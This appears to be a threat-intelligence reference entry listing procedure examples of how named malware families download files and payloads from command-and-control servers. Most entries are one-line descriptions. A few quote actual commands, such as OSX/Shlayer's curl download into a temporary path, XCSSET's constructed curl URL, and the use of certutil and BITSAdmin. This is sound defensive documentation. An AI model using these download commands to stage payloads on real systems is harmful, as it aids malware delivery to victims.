Procedure examples

ZIPLINE can download files to be saved on the compromised system.

TURNEDUP is capable of downloading additional files.

ChChes is capable of downloading files, including additional modules.

ANDROMEDA can download additional payloads from C2.

Shai-Hulud has downloaded packages from code repositories. Shai-Hulud has also downloaded and executed the secrets-discovery tool TruffleHog to gather sensitive data.

JPIN can download files and upgrade itself.

VIRTUALPITA has the ability to upload and download files.

metaMain can download files onto compromised systems.

SideTwist has the ability to download additional files.

KOCTOPUS has executed a PowerShell command to download a file to the system.

MechaFlounder has the ability to upload and download files to and from a compromised host.

Psylo has a command to download a file to the system from its C2 server.

HTTPBrowser is capable of writing a file to the compromised system from the C2 server.

Mis-Type has downloaded additional malware and files onto a compromised host.

XCSSET downloads browser specific AppleScript modules using a constructed URL with the curl command, https://" & domain & "/agent/scripts/" & moduleName & ".applescript.

Disco can download files to targeted systems via SMB.

Dipsind can download remote files.

Octopus can download additional files and tools onto the victim’s machine.

SoreFang can download additional payloads from C2.

Industroyer downloads a shellcode payload from a remote C2 server and loads it into memory.

Kevin can download files to the compromised host.

Agent Tesla can download additional files for execution on the victim’s machine.

Pasam creates a backdoor through which remote attackers can upload files.

POWERSTATS can retrieve and execute additional PowerShell payloads from the C2 server.

BADNEWS is capable of downloading additional files through C2 channels, including a new version of itself.

Linfo creates a backdoor through which remote attackers can download files onto compromised hosts.

ShadowPad has downloaded code from a C2 server.

Astaroth uses certutil and BITSAdmin to download additional malware.

QakBot has the ability to download additional components and malware.

DOWNIISSA can download files to the compromised host.

CookieMiner can download additional scripts from a web server.

Hancitor has the ability to download additional files from C2.

Gelsemium can download additional plug-ins to a compromised host.

jRAT can download and execute files.

Helminth can download additional files.

BBK has the ability to download files from C2 to the infected host.

OSX/Shlayer can download payloads, and extract bytes from files. OSX/Shlayer uses the curl -fsL "$url" >$tmp_path command to download malicious payloads into a temporary directory.

Denis deploys additional backdoors and hacking tools to the system.

Waterbear can receive and load executables from remote C2 servers.

Vasport can download files.

JSS Loader has the ability to download malicious executables to a compromised host.

Lizar can download additional plugins, files, and tools.

Dtrack’s can download and upload a file to the victim’s computer.

H1N1 contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.

Seth-Locker has the ability to download and execute files on a compromised host.

LoudMiner used SCP to update the miner from the C2.

Azorult can download and execute additional files. Azorult has also downloaded a ransomware payload called Hermes.

Zox can download files to a compromised machine.

UPPERCUT can download and upload files to and from the victim’s machine.

StrifeWater can download updates and auxiliary modules.